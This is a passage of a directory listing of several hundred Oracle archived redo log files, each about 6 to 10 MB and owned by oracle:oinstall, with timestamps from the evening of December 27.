19:50 arch1_258_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_259_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_260_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_261_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_262_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_263_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_264_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_265_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_266_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_267_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_268_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_269_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_270_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_271_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_272_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_273_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 19:50 arch1_274_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 19:50 arch1_275_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_276_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:50 arch1_277_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_278_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_279_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_280_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_281_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_282_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_283_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_284_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_285_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_286_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 19:51 arch1_287_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_288_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_289_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_290_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 19:51 arch1_291_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.6M Dec 27 19:51 arch1_292_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_293_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_294_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_295_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:51 arch1_296_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_297_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_298_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_299_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_300_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_301_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_302_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_303_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_304_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_305_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_306_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_307_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_308_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_309_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_310_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_311_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_312_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_313_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.9M Dec 27 19:52 arch1_314_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_315_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 19:52 arch1_316_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:00 arch1_317_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:27 arch1_318_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:27 arch1_319_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:27 arch1_320_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:27 arch1_321_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:27 arch1_322_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 20:27 arch1_323_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:27 arch1_324_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:27 arch1_325_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:27 arch1_326_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:27 arch1_327_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:27 arch1_328_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_329_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_330_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_331_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_332_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_333_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_334_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_335_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_336_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_337_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_338_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_339_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_340_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_341_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 20:28 arch1_342_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_343_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_344_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_345_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_346_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_347_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:28 arch1_348_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_349_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_350_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_351_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_352_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_353_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_354_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_355_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_356_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_357_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_358_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:29 arch1_359_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_360_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_361_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_362_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_363_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_364_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_365_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_366_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:29 arch1_367_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_368_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_369_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_370_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_371_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:30 arch1_372_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_373_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_374_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_375_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:30 arch1_376_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_377_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_378_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_379_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_380_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_381_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_382_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_383_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_384_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_385_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_386_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:30 arch1_387_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_388_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_389_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_390_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_391_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_392_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_393_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_394_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:31 arch1_395_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_396_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_397_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_398_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_399_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_400_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_401_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_402_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.9M Dec 27 20:31 arch1_403_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_404_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_405_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:31 arch1_406_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_407_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_408_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_409_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_410_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.2M Dec 27 20:32 arch1_411_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_412_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_413_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:32 arch1_414_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_415_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_416_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:32 arch1_417_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_418_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_419_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_420_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_421_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_422_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_423_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 20:32 arch1_424_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.1M Dec 27 20:32 arch1_425_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:32 arch1_426_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_427_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_428_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_429_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_430_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_431_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_432_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_433_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_434_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_435_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:32 arch1_436_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_437_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 20:32 arch1_438_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_439_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_440_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.5M Dec 27 20:32 arch1_441_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_442_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:32 arch1_443_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:33 arch1_444_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_445_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_446_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_447_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_448_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_449_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_450_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_451_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_452_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_453_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_454_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_455_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_456_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_457_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_458_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_459_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_460_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_461_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:33 arch1_462_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_463_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:34 arch1_464_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_465_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_466_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_467_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_468_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_469_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_470_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_471_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 20:34 arch1_472_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_473_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_474_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_475_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.0M Dec 27 20:34 arch1_476_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_477_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_478_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_479_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_480_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:34 arch1_481_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_482_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_483_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_484_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_485_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_486_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_487_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_488_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_489_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_490_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.5M Dec 27 20:35 arch1_491_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_492_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_493_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_494_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.3M Dec 27 20:35 arch1_495_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.2M Dec 27 20:35 arch1_496_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_497_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_498_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_499_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:35 arch1_500_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_501_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_502_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_503_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_504_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_505_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_506_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_507_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_508_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_509_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_510_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_511_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_512_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_513_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_514_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_515_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_516_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_517_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_518_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.5M Dec 27 20:36 arch1_519_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:36 arch1_520_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_521_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_522_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_523_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_524_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_525_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_526_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_527_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_528_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_529_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_530_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:37 arch1_531_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_532_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_533_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_534_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 20:37 arch1_535_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_536_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:37 arch1_537_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.6M Dec 27 20:38 arch1_538_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.7M Dec 27 20:40 arch1_539_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:40 arch1_540_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:40 arch1_541_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:40 arch1_542_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:40 arch1_543_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_544_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_545_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_546_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_547_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_548_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_549_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_550_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_551_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_552_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_553_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_554_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_555_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_556_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_557_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_558_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_559_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_560_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_561_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 20:41 arch1_562_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:41 arch1_563_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_564_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_565_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_566_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.2M Dec 27 20:42 arch1_567_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_568_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.9M Dec 27 20:42 arch1_569_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_570_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_571_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_572_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_573_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_574_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_575_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 arch1_576_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 20:42 